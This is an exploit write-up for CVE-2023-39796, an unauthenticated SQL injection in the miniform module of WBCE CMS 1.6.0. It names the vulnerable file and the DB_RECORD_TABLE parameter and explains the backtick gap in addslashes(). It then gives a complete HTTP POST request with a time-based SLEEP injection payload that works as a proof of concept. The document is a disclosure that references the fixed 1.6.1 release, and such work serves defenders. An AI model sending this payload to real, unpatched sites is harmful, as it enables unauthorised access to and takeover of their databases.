WBCE 1.6.0 - Unauthenticated SQL injection

# Exploit Title: |Unauthenticated SQL injection in WBCE 1.6.0
# Date: 15.11.2023 
# Exploit Author: young pope 
# Vendor Homepage: https://github.com/WBCE/WBCE_CMS 
# Software Link: https://github.com/WBCE/WBCE_CMS/archive/refs/tags/1.6.0.zip 
# Version: 1.6.0 
# Tested on: Kali linux 
# CVE : CVE-2023-39796

There is an sql injection vulnerability in *miniform* module which is a 
default module installed in the *WBCE* cms. It is an unauthenticated 
sqli so anyone could access it and takeover the whole database.

In file /modules/miniform/ajax_delete_message.php there is no 
authentication check. On line |40| in this file, there is a |DELETE| 
query that is vulnerable, an attacker could jump from the query using 
tick sign - ```.

Function |addslashes()| 
(https://www.php.net/manual/en/function.addslashes.php) escapes only 
these characters and not a tick sign:

  * single quote (')
  * double quote (")
  * backslash ()
  * NUL (the NUL byte

The DB_RECORD_TABLE parameter is vulnerable.

If an unauthenticated attacker send this request:

```

POST /modules/miniform/ajax_delete_message.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, 
like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 162
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate

action=delete&DB_RECORD_TABLE=miniform_data`+WHERE+1%3d1+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+&iRecordID=1&DB_COLUMN=message_id&MODULE=&purpose=delete_record

```

The response is received after 6s.

Reference links:

  * https://nvd.nist.gov/vuln/detail/CVE-2023-39796
  * https://forum.wbce.org/viewtopic.php?pid=42046#p42046
  * https://github.com/WBCE/WBCE_CMS/releases/tag/1.6.1
  * https://pastebin.com/PBw5AvGp